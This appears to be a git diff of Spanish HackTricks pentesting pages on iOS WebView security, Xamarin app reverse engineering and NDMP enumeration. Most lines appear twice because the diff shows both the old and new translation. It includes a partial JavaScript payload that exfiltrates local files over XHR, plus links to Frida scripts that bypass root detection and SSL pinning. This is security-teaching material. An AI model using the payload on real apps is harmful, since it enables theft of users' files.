#### **Verificación de Configuración de JavaScript**
Para **WKWebView**, se destaca que deshabilitar JavaScript es una buena práctica a menos que sea necesario. Se busca en el binario compilado para confirmar que la propiedad `javaScriptEnabled` está configurada en `false`, asegurando que JavaScript esté deshabilitado:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Verificación de Contenido Seguro Únicamente**
#### **Verificación de Solo Contenido Seguro**
**WKWebView** ofrece la capacidad de identificar problemas de contenido mixto, a diferencia de **UIWebView**. Esto se verifica utilizando la propiedad `hasOnlySecureContent` para asegurar que todos los recursos de la página se carguen a través de conexiones seguras. La búsqueda en el binario compilado se realiza de la siguiente manera:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Información del Análisis Dinámico**
### **Perspectivas de Análisis Dinámico**
El análisis dinámico implica inspeccionar el montón de instancias de WebView y sus propiedades. Se utiliza un script llamado `webviews_inspector.js` con el objetivo de identificar instancias de `UIWebView`, `WKWebView` y `SFSafariViewController`. Este script registra información sobre las instancias encontradas, incluyendo URLs y configuraciones relacionadas con JavaScript y contenido seguro.
El análisis dinámico implica inspeccionar el heap en busca de instancias de WebView y sus propiedades. Se utiliza un script llamado `webviews_inspector.js` para este propósito, dirigido a instancias de `UIWebView`, `WKWebView` y `SFSafariViewController`. Registra información sobre las instancias encontradas, incluyendo URLs y configuraciones relacionadas con JavaScript y contenido seguro.
La inspección del montón se puede realizar utilizando `ObjC.choose()` para identificar instancias de WebView y verificar las propiedades `javaScriptEnabled` y `hasonlysecurecontent`.
La inspección del heap se puede realizar utilizando `ObjC.choose()` para identificar instancias de WebView y verificar las propiedades `javaScriptEnabled` y `hasonlysecurecontent`.
{% code title="webviews_inspector.js" %}
```javascript
@ -126,25 +127,25 @@ El script se ejecuta con:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Resultados Clave**:
- Se localizan e inspeccionan correctamente las instancias de WebViews.
- Se localizan e inspeccionan con éxito las instancias de WebViews.
- Se verifica la habilitación de JavaScript y la configuración de contenido seguro.
Este resumen encapsula los pasos críticos y comandos involucrados en el análisis de las configuraciones de WebView a través de enfoques estáticos y dinámicos, centrándose en características de seguridad como la habilitación de JavaScript y la detección de contenido mixto.
Este resumen encapsula los pasos y comandos críticos involucrados en el análisis de configuraciones de WebView a través de enfoques estáticos y dinámicos, centrándose en características de seguridad como la habilitación de JavaScript y la detección de contenido mixto.
## Manejo de Protocolos de WebView
## Manejo del Protocolo WebView
El manejo de contenido en WebViews es un aspecto crítico, especialmente al tratar con varios protocolos como `http(s)://`, `file://` y `tel://`. Estos protocolos permiten la carga de contenido remoto y local dentro de las aplicaciones. Se enfatiza que al cargar contenido local, se deben tomar precauciones para evitar que los usuarios influyan en el nombre o la ruta del archivo y para evitar la edición del contenido en sí.
Manejar contenido en WebViews es un aspecto crítico, especialmente al tratar con varios protocolos como `http(s)://`, `file://` y `tel://`. Estos protocolos permiten la carga de contenido remoto y local dentro de las aplicaciones. Se enfatiza que al cargar contenido local, se deben tomar precauciones para evitar que los usuarios influyan en el nombre o la ruta del archivo y en la edición del contenido mismo.
Las **WebViews** ofrecen diferentes métodos para la carga de contenido. Para **UIWebView**, ahora obsoleto, se utilizan métodos como `loadHTMLString:baseURL:` y `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, por otro lado, emplea `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` y `loadRequest:` para contenido web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` e `init(contentsOf:encoding:)` se utilizan típicamente para cargar archivos locales. El método `loadFileURL:allowingReadAccessToURL:` es particularmente notable por su capacidad para cargar una URL o directorio específico en la WebView, potencialmente exponiendo datos sensibles si se especifica un directorio.
**WebViews** ofrecen diferentes métodos para la carga de contenido. Para **UIWebView**, ahora obsoleto, se utilizan métodos como `loadHTMLString:baseURL:` y `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, por otro lado, emplea `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` y `loadRequest:` para contenido web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` y `init(contentsOf:encoding:)` se utilizan típicamente para cargar archivos locales. El método `loadFileURL:allowingReadAccessToURL:` es particularmente notable por su capacidad para cargar una URL o directorio específico en el WebView, exponiendo potencialmente datos sensibles si se especifica un directorio.
Para encontrar estos métodos en el código fuente o en el binario compilado, se pueden utilizar comandos como los siguientes:
Para encontrar estos métodos en el código fuente o binario compilado, se pueden usar comandos como los siguientes:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
En cuanto al **acceso a archivos**, UIWebView lo permite de forma universal, mientras que WKWebView introduce la configuración `allowFileAccessFromFileURLs` y `allowUniversalAccessFromFileURLs` para gestionar el acceso desde URLs de archivo, siendo ambas falsas de forma predeterminada.
En cuanto al **acceso a archivos**, UIWebView lo permite de manera universal, mientras que WKWebView introduce configuraciones `allowFileAccessFromFileURLs` y `allowUniversalAccessFromFileURLs` para gestionar el acceso desde URL de archivos, siendo ambas falsas por defecto.
Se proporciona un ejemplo de script de Frida para inspeccionar las configuraciones de seguridad de **WKWebView**:
Se proporciona un ejemplo de script de Frida para inspeccionar las configuraciones de **WKWebView** para ajustes de seguridad:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
@ -162,7 +163,7 @@ console.log('done for WKWebView!');
}
});
```
Por último, un ejemplo de una carga útil de JavaScript destinada a exfiltrar archivos locales demuestra el riesgo de seguridad potencial asociado con WebViews mal configurados. Esta carga útil codifica el contenido del archivo en formato hexadecimal antes de transmitirlo a un servidor, resaltando la importancia de medidas de seguridad estrictas en las implementaciones de WebView.
Por último, un ejemplo de una carga útil de JavaScript destinada a exfiltrar archivos locales demuestra el potencial riesgo de seguridad asociado con WebViews mal configurados. Esta carga útil codifica el contenido de los archivos en formato hex antes de transmitirlos a un servidor, destacando la importancia de medidas de seguridad estrictas en las implementaciones de WebView.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
@ -189,10 +190,10 @@ xhr.send(null);
## Comprendiendo las Interfaces Nativas de WebView en iOS
Desde iOS 7 en adelante, Apple proporcionó APIs para la **comunicación entre JavaScript en un WebView y objetos nativos** Swift u Objective-C. Esta integración se facilita principalmente a través de dos métodos:
Desde iOS 7 en adelante, Apple proporcionó APIs para **la comunicación entre JavaScript en un WebView y objetos nativos** de Swift u Objective-C. Esta integración se facilita principalmente a través de dos métodos:
- **JSContext**: Una función de JavaScript se crea automáticamente cuando un bloque Swift u Objective-C se vincula a un identificador dentro de un `JSContext`. Esto permite una integración y comunicación fluida entre JavaScript y código nativo.
- **JSExport Protocol**: Al heredar el protocolo `JSExport`, se pueden exponer propiedades nativas, métodos de instancia y métodos de clase a JavaScript. Esto significa que cualquier cambio realizado en el entorno de JavaScript se refleja en el entorno nativo, y viceversa. Sin embargo, es esencial asegurarse de que datos sensibles no se expongan inadvertidamente a través de este método.
- **JSContext**: Una función de JavaScript se crea automáticamente cuando un bloque de Swift u Objective-C se vincula a un identificador dentro de un `JSContext`. Esto permite una integración y comunicación sin problemas entre JavaScript y el código nativo.
- **JSExport Protocol**: Al heredar el protocolo `JSExport`, se pueden exponer propiedades nativas, métodos de instancia y métodos de clase a JavaScript. Esto significa que cualquier cambio realizado en el entorno de JavaScript se refleja en el entorno nativo, y viceversa. Sin embargo, es esencial asegurarse de que los datos sensibles no se expongan inadvertidamente a través de este método.
### Accediendo a `JSContext` en Objective-C
@ -202,7 +203,7 @@ En Objective-C, el `JSContext` para un `UIWebView` se puede recuperar con la sig
```
### Comunicación con `WKWebView`
Para `WKWebView`, no se dispone de acceso directo a `JSContext`. En su lugar, se utiliza el paso de mensajes a través de la función `postMessage`, lo que permite la comunicación entre JavaScript y la aplicación nativa. Los controladores para estos mensajes se configuran de la siguiente manera, lo que permite que JavaScript interactúe con la aplicación nativa de forma segura:
Para `WKWebView`, el acceso directo a `JSContext` no está disponible. En su lugar, se utiliza el paso de mensajes a través de la función `postMessage`, lo que permite la comunicación de JavaScript a nativo. Los controladores para estos mensajes se configuran de la siguiente manera, lo que permite que JavaScript interactúe con la aplicación nativa de manera segura:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
@ -217,7 +218,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
```
### Interacción y Pruebas
JavaScript puede interactuar con la capa nativa al definir un controlador de mensajes de script. Esto permite operaciones como invocar funciones nativas desde una página web:
JavaScript puede interactuar con la capa nativa definiendo un controlador de mensajes de script. Esto permite operaciones como invocar funciones nativas desde una página web:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
@ -228,7 +229,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
Para capturar y manipular el resultado de una llamada a una función nativa, se puede anular la función de devolución de llamada dentro del HTML:
Para capturar y manipular el resultado de una llamada a una función nativa, se puede anular la función de callback dentro del HTML:
```html
<html>
<script>
@ -239,7 +240,7 @@ alert(result);
</script>
</html>
```
El lado nativo maneja la llamada de JavaScript como se muestra en la clase `JavaScriptBridgeMessageHandler`, donde se procesa el resultado de operaciones como la multiplicación de números y se envía de vuelta a JavaScript para su visualización o manipulación adicional:
El lado nativo maneja la llamada de JavaScript como se muestra en la clase `JavaScriptBridgeMessageHandler`, donde el resultado de operaciones como multiplicar números se procesa y se envía de vuelta a JavaScript para su visualización o manipulación adicional:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
@ -254,20 +255,20 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
```
## Depuración de WebViews en iOS
(Tutorial basado en [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
(Tutorial basado en el de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
Para depurar eficazmente el contenido web dentro de las WebViews de iOS, se requiere una configuración específica que involucra las herramientas de desarrollo de Safari, debido a que los mensajes enviados a `console.log()` no se muestran en los registros de Xcode. Aquí tienes una guía simplificada, enfatizando los pasos clave y requisitos:
Para depurar eficazmente el contenido web dentro de los webviews de iOS, se requiere una configuración específica que involucra las herramientas de desarrollador de Safari, debido a que los mensajes enviados a `console.log()` no se muestran en los registros de Xcode. Aquí hay una guía simplificada, enfatizando los pasos y requisitos clave:
- **Preparación en el Dispositivo iOS**: El Inspector Web de Safari debe estar activado en tu dispositivo iOS. Esto se hace yendo a **Configuración > Safari > Avanzado**, y activando el _Inspector Web_.
- **Preparación en el dispositivo iOS**: El Inspector Web de Safari debe ser activado en tu dispositivo iOS. Esto se hace yendo a **Configuración > Safari > Avanzado**, y habilitando el _Inspector Web_.
- **Preparación en el Dispositivo macOS**: En tu máquina de desarrollo macOS, debes habilitar las herramientas de desarrollo dentro de Safari. Abre Safari, accede a **Safari > Preferencias > Avanzado**, y selecciona la opción _Mostrar menú Desarrollar_.
- **Preparación en el dispositivo macOS**: En tu máquina de desarrollo macOS, debes habilitar las herramientas de desarrollador dentro de Safari. Inicia Safari, accede a **Safari > Preferencias > Avanzado**, y selecciona la opción para _Mostrar menú de Desarrollo_.
- **Conexión y Depuración**: Después de conectar tu dispositivo iOS a tu computadora macOS y lanzar tu aplicación, utiliza Safari en tu dispositivo macOS para seleccionar la WebView que deseas depurar. Navega a _Desarrollar_ en la barra de menú de Safari, pasa el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de WebView, y selecciona la instancia que deseas inspeccionar. Se abrirá una nueva ventana del Inspector Web de Safari con este propósito.
- **Conexión y depuración**: Después de conectar tu dispositivo iOS a tu computadora macOS y lanzar tu aplicación, usa Safari en tu dispositivo macOS para seleccionar el webview que deseas depurar. Navega a _Desarrollar_ en la barra de menú de Safari, pasa el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de webview, y selecciona la instancia que deseas inspeccionar. Se abrirá una nueva ventana del Inspector Web de Safari para este propósito.
Sin embargo, ten en cuenta las limitaciones:
- La depuración con este método requiere un dispositivo macOS ya que depende de Safari.
- Solo las WebViews en aplicaciones cargadas en tu dispositivo a través de Xcode son elegibles para depuración. Las WebViews en aplicaciones instaladas a través de la App Store o Apple Configurator no pueden ser depuradas de esta manera.
- La depuración con este método requiere un dispositivo macOS ya que se basa en Safari.
- Solo los webviews en aplicaciones cargadas en tu dispositivo a través de Xcode son elegibles para la depuración. Los webviews en aplicaciones instaladas a través de la App Store o Apple Configurator no pueden ser depurados de esta manera.
## Referencias
@ -276,16 +277,17 @@ Sin embargo, ten en cuenta las limitaciones:
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,43 +1,44 @@
# Aplicaciones Xamarin
# Xamarin Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Este es un resumen del artículo del blog [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
## **Información Básica**
Xamarin es una plataforma **de código abierto** diseñada para que los desarrolladores **crean aplicaciones para iOS, Android y Windows** utilizando los marcos .NET y C#. Esta plataforma ofrece acceso a numerosas herramientas y extensiones para crear aplicaciones modernas de manera eficiente.
Xamarin es una **plataforma de código abierto** diseñada para que los desarrolladores **crean aplicaciones para iOS, Android y Windows** utilizando los frameworks .NET y C#. Esta plataforma ofrece acceso a numerosas herramientas y extensiones para crear aplicaciones modernas de manera eficiente.
### Arquitectura de Xamarin
- Para **Android**, Xamarin se integra con los espacios de nombres de Android y Java a través de enlaces .NET, operando dentro del entorno de ejecución Mono junto con el Android Runtime (ART). Los Managed Callable Wrappers (MCW) y Android Callable Wrappers (ACW) facilitan la comunicación entre Mono y ART, ambos construidos sobre el kernel de Linux.
- Para **iOS**, las aplicaciones se ejecutan bajo el tiempo de ejecución de Mono, utilizando una compilación completa Ahead of Time (AOT) para convertir el código C# .NET en lenguaje ensamblador ARM. Este proceso se ejecuta junto con el Objective-C Runtime en un kernel similar a UNIX.
- Para **Android**, Xamarin se integra con los espacios de nombres de Android y Java a través de enlaces .NET, operando dentro del entorno de ejecución Mono junto con el Android Runtime (ART). Los Managed Callable Wrappers (MCW) y Android Callable Wrappers (ACW) facilitan la comunicación entre Mono y ART, ambos construidos sobre el núcleo de Linux.
- Para **iOS**, las aplicaciones se ejecutan bajo el entorno de ejecución Mono, utilizando una compilación completa Ahead of Time (AOT) para convertir el código C# .NET en lenguaje ensamblador ARM. Este proceso se ejecuta junto con el Objective-C Runtime en un núcleo similar a UNIX.
### .NET Runtime y Mono Framework
### Entorno de Ejecución .NET y Framework Mono
El **framework .NET** incluye ensamblados, clases y espacios de nombres para el desarrollo de aplicaciones, con el .NET Runtime gestionando la ejecución del código. Ofrece independencia de plataforma y compatibilidad con versiones anteriores. El **Mono Framework** es una versión de código abierto del framework .NET, iniciada en 2005 para extender .NET a Linux, ahora respaldada por Microsoft y liderada por Xamarin.
El **framework .NET** incluye ensamblados, clases y espacios de nombres para el desarrollo de aplicaciones, con el Entorno de Ejecución .NET gestionando la ejecución del código. Ofrece independencia de plataforma y compatibilidad hacia atrás. El **Framework Mono** es una versión de código abierto del framework .NET, iniciado en 2005 para extender .NET a Linux, ahora respaldado por Microsoft y liderado por Xamarin.
### Ingeniería Inversa de Aplicaciones Xamarin
#### Descompilación de Ensamblados Xamarin
La descompilación transforma el código compilado de nuevo en código fuente. En Windows, la ventana de Módulos en Visual Studio puede identificar módulos para la descompilación, permitiendo el acceso directo al código de terceros y la extracción del código fuente para su análisis.
La descompilación transforma el código compilado de nuevo en código fuente. En Windows, la ventana de Módulos en Visual Studio puede identificar módulos para descompilación, permitiendo el acceso directo al código de terceros y la extracción del código fuente para análisis.
#### Compilación JIT vs AOT
- **Android** admite la compilación Just-In-Time (JIT) y Ahead-Of-Time (AOT), con un modo híbrido AOT para una velocidad de ejecución óptima. El AOT completo es exclusivo de las licencias Enterprise.
- **Android** admite la compilación Just-In-Time (JIT) y Ahead-Of-Time (AOT), con un modo híbrido AOT para una velocidad de ejecución óptima. La AOT completa es exclusiva para licencias empresariales.
- **iOS** emplea únicamente la compilación AOT debido a las restricciones de Apple sobre la ejecución de código dinámico.
### Extracción de archivos dll de APK/IPA
@ -46,17 +47,17 @@ Para acceder a los ensamblados en un APK/IPA, descomprime el archivo y explora e
```bash
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
Para ensamblar blobs en Android, [pyxamstore](https://github.com/jakev/pyxamstore) puede desempaquetarlos.
Para ensamblar blobs en Android, [pyxamstore](https://github.com/jakev/pyxamstore) puede descomprimirlos.
```bash
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```
Los archivos dll de iOS son fácilmente accesibles para su descompilación, revelando partes significativas del código de la aplicación, que a menudo comparte una base común en diferentes plataformas.
Los archivos dll de iOS son fácilmente accesibles para la descompilación, revelando porciones significativas del código de la aplicación, que a menudo comparte una base común en diferentes plataformas.
### Análisis Dinámico
El análisis dinámico implica verificar el pinning SSL y utilizar herramientas como [Fridax](https://github.com/NorthwaveSecurity/fridax) para modificaciones en tiempo de ejecución del binario .NET en aplicaciones Xamarin. Los scripts de Frida están disponibles para evadir la detección de root o el pinning SSL, mejorando las capacidades de análisis.
El análisis dinámico implica verificar la fijación de SSL y usar herramientas como [Fridax](https://github.com/NorthwaveSecurity/fridax) para modificaciones en tiempo de ejecución del binario .NET en aplicaciones Xamarin. Los scripts de Frida están disponibles para eludir la detección de root o la fijación de SSL, mejorando las capacidades de análisis.
Otros scripts de Frida interesantes:
Otros scripts interesantes de Frida:
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
@ -67,16 +68,17 @@ Otros scripts de Frida interesantes:
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Información del Protocolo**
Desde [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
De [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
> **NDMP**, o **Network Data Management Protocol**, es un protocolo destinado a transportar datos entre dispositivos de almacenamiento conectados a la red \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) y dispositivos de [backup](https://en.wikipedia.org/wiki/Backup). Esto elimina la necesidad de transportar los datos a través del servidor de backup en sí, mejorando así la velocidad y eliminando la carga del servidor de backup.
> **NDMP**, o **Protocolo de Gestión de Datos de Red**, es un protocolo destinado a transportar datos entre dispositivos de almacenamiento conectados a la red \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) y dispositivos de [copia de seguridad](https://en.wikipedia.org/wiki/Backup). Esto elimina la necesidad de transportar los datos a través del servidor de copia de seguridad, mejorando así la velocidad y reduciendo la carga del servidor de copia de seguridad.
**Puerto predeterminado:** 10000
**Puerto por defecto:** 10000
```text
PORT STATE SERVICE REASON VERSION
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
@ -34,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
